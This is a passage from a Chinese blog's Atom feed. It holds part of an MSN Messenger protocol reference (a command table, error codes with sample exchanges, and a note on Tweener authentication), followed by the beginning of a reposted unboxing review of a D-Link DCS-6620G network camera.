<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>发出建立聊天连接的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>call</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回建立聊天连接请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>CHG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出改变状态的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>change state</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回改变状态的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>CHL</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD rowSpan=2>
<DIV>服务器发出验证要求。</DIV></TD>
<TD rowSpan=2>
<DIV>challenge</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD rowSpan=4>
<DIV>CVR</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>发出客户端的OS、语言、MSN Messenger版本等信息。</DIV></TD>
<TD rowSpan=4>
<DIV>client version</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD rowSpan=2>
<DIV>返回推荐的MSN Messenger版本、升级软件需要的下载地址等信息。</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD>
<DIV>FLN</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>通知有联系人列表中的用户下线。</DIV></TD>
<TD>
<DIV>off-line</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>GTC</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>设置当有联系人列表中的用户状态改变时给出的提示。</DIV></TD>
<TD rowSpan=2>
<DIV>greeting to changes?</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回设置请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=4>
<DIV>INF</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>询问服务器所支持的认证方式。</DIV></TD>
<TD rowSpan=4>
<DIV>information?</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD rowSpan=2>
<DIV>返回服务器所支持的认证方式。</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD>
<DIV>ILN</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>当客户端登录或添加联系人到列表时，通知列表中的联系人的状态。</DIV></TD>
<TD>
<DIV>initial online state</DIV></TD></TR>
<TR>
<TD>
<DIV>IRO</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>当有新用户加入聊天连接时，通知客户端该连接中的用户名单。</DIV></TD>
<TD>
<DIV>initial roster information</DIV></TD></TR>
<TR>
<TD>
<DIV>JIO</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>通知客户端已经同另外的用户建立了聊天连接。</DIV></TD>
<TD>
<DIV>jion</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>LSG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出获取联系人组列表的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>list groups</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回获取联系人组列表请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>LST</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出获取联系人列表的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>list</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回获取联系人列表请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=3>
<DIV>MSG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>发送消息到其他用户(聊天对象)。</DIV></TD>
<TD rowSpan=3>
<DIV>message</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>传递服务器(系统) 的消息到客户端。</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>传递其他用户(聊天对象)的消息到客户端。</DIV></TD></TR>
<TR>
<TD>
<DIV>NAK</DIV></TD>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>做出否定回答。</DIV></TD>
<TD>
<DIV>negative acknowledgement</DIV></TD></TR>
<TR>
<TD>
<DIV>NLN</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>通知客户端联系人上线或改变状态。</DIV></TD>
<TD>
<DIV>on-line</DIV></TD></TR>
<TR>
<TD>
<DIV>OUT</DIV></TD>
<TD>
<DIV>All</DIV></TD>
<TD>
<DIV>All</DIV></TD>
<TD>
<DIV>结束客户端-服务器的连接。</DIV></TD>
<TD>
<DIV>out</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>PNG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>测试TCP连接状态。</DIV></TD>
<TD rowSpan=2>
<DIV>ping</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>PRP</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出设置个人电话号码的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>personal phone number</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回设置请求的应答</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>PNG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>测试TCP连接状态。</DIV></TD>
<TD rowSpan=2>
<DIV>ping</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>QNG</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD rowSpan=2>
<DIV>返回测试TCP连接状态的应答。</DIV></TD>
<TD rowSpan=2>
<DIV>quiz ping?</DIV></TD></TR>
<TR>
<TD>
<DIV>SS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>QRY</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>客户端回答服务器的验证要求。</DIV></TD>
<TD rowSpan=2>
<DIV>quiz reply?</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>SS</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>REA</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出修改用户昵称的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>ren&#097;me nickname</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回修改用户昵称请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>REG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出修改联系人组的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>ren&#097;me group</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回修改联系人组请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>REM</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出从联系人列表中删除用户的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>ren&#097;me user</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回删除用户请求的应答。</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>RMG</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出删除联系人组的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>remove group</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回删除联系人组请求的应答。</DIV></TD></TR>
<TR>
<TD>
<DIV>RNG</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>通知客户端有人要建立聊天连接。</DIV></TD>
<TD>
<DIV>ring</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>SYN</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD rowSpan=2>
<DIV>客户端-服务器同步。</DIV></TD>
<TD rowSpan=2>
<DIV>synchronization</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD rowSpan=2>
<DIV>URL</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出获取MSN服务URL的请求。</DIV></TD>
<TD rowSpan=2>
<DIV>URL</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回获取URL请求的应答。</DIV></TD></TR>
<TR>
<TD>
<DIV>USR</DIV></TD>
<TD>
<DIV>All</DIV></TD>
<TD>
<DIV>All</DIV></TD>
<TD>
<DIV>声明、传递、鉴别用户身份。</DIV></TD>
<TD>
<DIV>user</DIV></TD></TR>
<TR>
<TD rowSpan=4>
<DIV>VER</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>DS</DIV></TD>
<TD rowSpan=4>
<DIV>协商MSN Messenger协议版本。</DIV></TD>
<TD rowSpan=4>
<DIV>version</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD></TR>
<TR>
<TD>
<DIV>DS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD></TR>
<TR>
<TD rowSpan=3>
<DIV>XFR</DIV></TD>
<TD>
<DIV>DS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>向客户端分配NS（通知客户端转向连接指定的NS）。</DIV></TD>
<TD rowSpan=3>
<DIV>transfer</DIV></TD></TR>
<TR>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>发出分配SS的请求。</DIV></TD></TR>
<TR>
<TD>
<DIV>NS</DIV></TD>
<TD>
<DIV>Client</DIV></TD>
<TD>
<DIV>返回分配SS请求的应答。</DIV></TD></TR></TBODY></TABLE></DIV>
<H3 align=center>错误代码一览</H3>
<DIV align=center>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=1>
<TBODY>
<TR>
<TD width="10%">
<DIV align=center>代码</DIV></TD>
<TD width="35%">
<DIV align=center>含义</DIV></TD>
<TD width="10%">
<DIV align=center>可能命令</DIV></TD>
<TD width="35%">
<DIV align=center>错误示例</DIV></TD>
<TD width="10%">
<DIV align=center>备注</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>200</DIV></TD>
<TD width="35%">
<DIV>非法命令</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>ABC 18\r\n<BR>200 18\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>201</DIV></TD>
<TD width="35%">
<DIV>非法参数</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>CHG 19 FLN 0\r\n<BR>201 19\r\n<BR>ADD 20 AL aaa@bbb@ccc aaa@bbb@ccc\r\n<BR>201 20\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>205</DIV></TD>
<TD width="35%">
<DIV>用户不存在</DIV></TD>
<TD width="10%">
<DIV>ADD</DIV></TD>
<TD width="35%">
<DIV>ADD 21 AL none@hotmail.com none@hotmail.com\r\n<BR>205 21\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>206</DIV></TD>
<TD width="35%">
<DIV>缺少域名</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>207</DIV></TD>
<TD width="35%">
<DIV>已经登录</DIV></TD>
<TD width="10%">
<DIV>USR</DIV></TD>
<TD width="35%">
<DIV>USR 20 TWN I example@hotmail.com\r\n<BR>207 20\r\n<BR>USR 21 TWN S 8d30fc782aa25ec9e1293fdda13cab42\r\n<BR>207 21\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>208</DIV></TD>
<TD width="35%">
<DIV>非法用户名</DIV></TD>
<TD width="10%">
<DIV>CAL</DIV></TD>
<TD width="35%">
<DIV>CAL 2 @@hotmail.com\r\n<BR>208 2\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>209</DIV></TD>
<TD width="35%">
<DIV>非法用户昵称</DIV></TD>
<TD width="10%">
<DIV>REA</DIV></TD>
<TD width="35%">
<DIV>REA 18 one@hotmail.com kill%20microsoft\r\n<BR>209 18\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>210</DIV></TD>
<TD width="35%">
<DIV>用户太多</DIV></TD>
<TD width="10%">
<DIV>ADD</DIV></TD>
<TD width="35%">
<DIV>ADD 23 FL one@hotmail.com one@hotmail.com 0\r\n<BR>210 23\r\n </DIV></TD>
<TD width="10%">
<DIV>最大150</DIV></TD></TR>
<TR>
<TD width="10%" rowSpan=2>
<DIV>215</DIV></TD>
<TD width="35%" rowSpan=2>
<DIV>用户已在列表中</DIV></TD>
<TD width="10%">
<DIV>ADD</DIV></TD>
<TD width="35%">
<DIV>ADD 36 FL one@hotmail.com one@hotmail.com 2\r\n<BR>ADD 36 825 FL one@hotmail.com one@hotmail.com 2\r\n<BR>ADD 37 FL one@hotmail.com one@hotmail.com 2\r\n<BR>215 37\r\n </DIV></TD>
<TD width="10%" rowSpan=2>
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>CAL</DIV></TD>
<TD width="35%">
<DIV>CAL 5 two@hotmail.com\r\n<BR>CAL 5 RINGING 213697\r\n<BR>CAL 6 two@hotmail.com\r\n<BR>215 6\r\n</DIV></TD></TR>
<TR>
<TD width="10%" rowSpan=3>
<DIV>216</DIV></TD>
<TD width="35%" rowSpan=3>
<DIV>用户不在列表中</DIV></TD>
<TD width="10%">
<DIV>REM</DIV></TD>
<TD width="35%">
<DIV>REM 14 FL three@hotmail.com\r\n<BR>216 14\r\n </DIV></TD>
<TD width="10%" rowSpan=3>
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>REA</DIV></TD>
<TD width="35%">
<DIV>REA 48 three@hotmail.com three\r\n<BR>216 48\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>CAL</DIV></TD>
<TD width="35%">
<DIV>CAL 2 three@hotmail.com\r\n<BR>216 2\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>217</DIV></TD>
<TD width="35%">
<DIV>用户不在线</DIV></TD>
<TD width="10%">
<DIV>CAL</DIV></TD>
<TD width="35%">
<DIV>CAL 2 two@hotmail.com\r\n<BR>217 2\r\n </DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%" rowSpan=2>
<DIV>218</DIV></TD>
<TD width="35%" rowSpan=2>
<DIV>已在指定模式</DIV></TD>
<TD width="10%">
<DIV>BLP</DIV></TD>
<TD width="35%">
<DIV>BLP 17 BL\r\n<BR>BLP 17 151 BL\r\n<BR>BLP 18 BL\r\n<BR>218 18\r\n </DIV></TD>
<TD width="10%" rowSpan=2>
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>GTC</DIV></TD>
<TD width="35%">
<DIV>GTC 19 A\r\n<BR>GTC 19 152 A\r\n<BR>GTC 20 A\r\n<BR>218 20\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>219</DIV></TD>
<TD width="35%">
<DIV>用户已经在相反的列表中</DIV></TD>
<TD width="10%">
<DIV>ADD</DIV></TD>
<TD width="35%">
<DIV>ADD 15 AL four@hotmail.com four@hotmail.com\r\n<BR>ADD 15 AL 56 four@hotmail.com four\r\n<BR>ADD 16 BL four@hotmail.com four@hotmail.com\r\n<BR>219 16\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>223</DIV></TD>
<TD width="35%">
<DIV>用户组太多</DIV></TD>
<TD width="10%">
<DIV>ADG</DIV></TD>
<TD width="35%">
<DIV>ADG 28 new%20group 0\r\n<BR>223 28\r\n</DIV></TD>
<TD width="10%">
<DIV>最大30</DIV></TD></TR>
<TR>
<TD width="10%" rowSpan=4>
<DIV>224</DIV></TD>
<TD width="35%" rowSpan=4>
<DIV>非法组号</DIV></TD>
<TD width="10%">
<DIV>ADD</DIV></TD>
<TD width="35%">
<DIV>RMG 24 3\r\n<BR>RMG 24 11506 3\r\n<BR>ADD 25 FL five@hotmail.com 3\r\n<BR>224 25\r\n</DIV></TD>
<TD width="10%" rowSpan=4>
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>REM</DIV></TD>
<TD width="35%">
<DIV>RMG 24 3\r\n<BR>RMG 24 11506 3\r\n<BR>REM 25 FL five@hotmail.com 3\r\n<BR>224 25\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>REG</DIV></TD>
<TD width="35%">
<DIV>RMG 24 3\r\n<BR>RMG 24 11506 3\r\n<BR>REG 25 3 New%20Name 0\r\n<BR>224 25\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>RMG</DIV></TD>
<TD width="35%">
<DIV>RMG 24 3\r\n<BR>RMG 24 11506 3\r\n<BR>RMG 25 3\r\n<BR>224 25\r\n</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>225</DIV></TD>
<TD width="35%">
<DIV>用户不在组中</DIV></TD>
<TD width="10%">
<DIV>REM</DIV></TD>
<TD width="35%">
<DIV>REM 26 FL six@hotmail.com 3\r\n<BR>225 26\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>229</DIV></TD>
<TD width="35%">
<DIV>组名太长</DIV></TD>
<TD width="10%">
<DIV>ADG</DIV></TD>
<TD width="35%">
<DIV>ADG 27 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 0\r\n<BR>229 27\r\n</DIV></TD>
<TD width="10%">
<DIV>最大60</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>230</DIV></TD>
<TD width="35%">
<DIV>不能删除组0</DIV></TD>
<TD width="10%">
<DIV>RMG</DIV></TD>
<TD width="35%">
<DIV>RMG 28 0\r\n<BR>230 28\r\n</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>300</DIV></TD>
<TD width="35%">
<DIV>缺少必要的参数</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>302&nbsp;</DIV></TD>
<TD width="35%">
<DIV>尚未登录</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>500</DIV></TD>
<TD width="35%">
<DIV>服务器内部错误</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>540</DIV></TD>
<TD width="35%">
<DIV>验证应答错误</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>600</DIV></TD>
<TD width="35%">
<DIV>服务器忙</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>707</DIV></TD>
<TD width="35%">
<DIV>无法建立连接</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>910</DIV></TD>
<TD width="35%">
<DIV>服务器忙</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR>
<TR>
<TD width="10%">
<DIV>911</DIV></TD>
<TD width="35%">
<DIV>身份验证失败</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD>
<TD width="35%">
<DIV>&nbsp;</DIV></TD>
<TD width="10%">
<DIV>&nbsp;</DIV></TD></TR></TBODY></TABLE></DIV>
<DIV>过去的MSN Messenger版本(MSNP8以下)，简单地使用MD5等Hash算法对用户身份进行认证。MSNP9/MSNP10使用一种TWN (Tweener)认证方式，通过SSL/TLS连接到login.passport.com和loginnet.passport.com等服务器，借助于HTTP协议输入账号和密码，认证通过后，才能取得“入场券”。</DIV>
<DIV>&nbsp;</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=273" /> 
	  <id>http://www.openx.cn/default.asp?id=273</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[随心所欲的千里眼 D-Link DCS-6620G 无线网络摄像机[转]]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-05-22T07:14:07+08:00</updated>
	  <published>2006-05-22T07:14:07+08:00</published>
		  <summary type="html"><![CDATA[前言<BR><BR>五月真是个繁忙的月份，从编译版犀牛的无线网络LAB，毕业考和写报告，还有产品的评测报告，好像都赶在五月份来培训犀牛组织计划的能力，思绪混乱了一阵子，可见犀牛还有很多功课要做，先向P帅和M01的开发人员说声抱歉，因为在月初收到这颗高贵玩具后，拖了那么久才出第一篇，真是抱歉（原来这就是赶稿的感觉），回到DCS-6620G，在还没收到这颗“球”的时候，我还是一直停留在我所接触过的网络摄像机所给我的印象，很单纯的让人可以看到对方，偶尔利用它来玩视觉游戏，像什么排球或投篮之类的，除了罗技出了一颗会动的视频外，犀牛也没有接触过其他的网络摄像机了，除了替朋友装装针孔编译版DVR外，直到我收到这颗“球”后又知道到它的销价，让我差点得蹲下来摸眼睛，称它高贵一点也不假，但再看过它功能与实际玩过一阵子后就不难想像它高贵的原因了，但这对我这个会想太多的处女座犀牛来说，忽然不晓得该如何下笔来把它的优点表达出来，可能是犀牛的功力尚差，这颗“球”的确让我伤了一下脑筋，不若ColdHeat那种单纯的功能只需３０分钟就可以把它的功能特色表达出来，这颗D-Link DCS-6620G可不像常规市面上的无线网络摄像机般的单纯，所以千万别被它的销价吓到，因为它的功能相当的强大，应用的环境也是相当的广泛，为了可以尽量把这颗“球”的功能一一用文字影像呈现给大家，又不会打个落落长的一篇，所以犀牛把它分为三个主题来写它，各是“<FONT color=#ff0000>基本功能篇</FONT>”、“<FONT color=#ff0000>软件介绍篇</FONT>”、“<FONT color=#ff0000>安全应用篇</FONT>”这三大主题来呈现这产品，首先犀牛先发表的是基本功能篇，咱们就开始摇罗．<BR><BR>首先～～在０１不免俗的开箱照，当我从黑猫物流士手上接过这产品时，被它的Size给惊了一下，怎么一颗无线网络摄机机的包装几乎和一台10.6寸NB的包装差不多．．．<BR><BR><BR>非常标准的D-Link配色包装．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-006e8fcce88c0e61ccfde15c93f70b9b.jpg"><BR>－－－包装正面照－－－<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-643b2e9fd31272a3553e01052ce421bd.jpg"><BR>－－－包装背面照－－－<BR><BR>打开外盒，里面还有一个盒子，里面装的当然就是主人公和配件啦．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-0d8b5d6aa65241f890d652b22fb45d30.jpg"><BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-5ad6edc174cffa60c6377088b7ae1b1f.jpg"><BR><BR>把主人公和配件们都拿出来排排站，犀牛的报告不免俗的还是有Show Girl Zita出场．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-4ef57da5b27c1d4c2ff0dfd97fe32e75.jpg"><BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-e541b52a4a4ec27a3ed8b148dc260aef.jpg"><BR>因为我觉得这二张都好可爱，所以都摆了上来．．．<BR><BR>再来咱们仔细看主人公与基本的配件．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-a94ac661169dc5b7c2992fac5cdc76b7.jpg"><BR>咱们可以看到有一颗DCS-6620G主人公、二支原厂天线、遥控器、Adapter、网络线、AV out连接线、说明书、软件光盘和把它钉在墙上的Mount架．<BR><BR>接著来个主人公的沙龙照．．．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-bb68472fec647e59bbab26411c72fae1.jpg"><BR>你在看我吗？<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-c81eee7e39d174632f85e4ea529b63f5.jpg"><BR>像不像一个倒过来的碗上头有一颗球．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-fc2ef23cfc165d4aa176cfe158c91f74.jpg"><BR>侧面照<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-441e6f922f99398378072996945c1f92.jpg"><BR>背面照，这里有没有看到奇怪的接头呢？咱们会在安全应用篇提到．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-88ddf03f0bac03535f0a31070826e0fa.jpg"><BR>架上Mount架的样子，这是要钉在墙上用的．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-b988107733f0af37650401ffdc003402.jpg"><BR>角度可以调整的．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-2862df43927df7b4d1fb3b196dc9cc26.jpg"><BR>45度角（这张像不像在眺望远方，就像犀牛偶尔也会看著犀牛太座所在的远方）<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-73c6222a5d23eb727784c8a3dbe6cbf0.jpg"><BR>犀牛又被盯住了，笨牛你在看我吗？<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-243cc747167905ccdd1b342477b9353a.jpg"><BR>你可以再近一点．．．<BR><BR><IMG 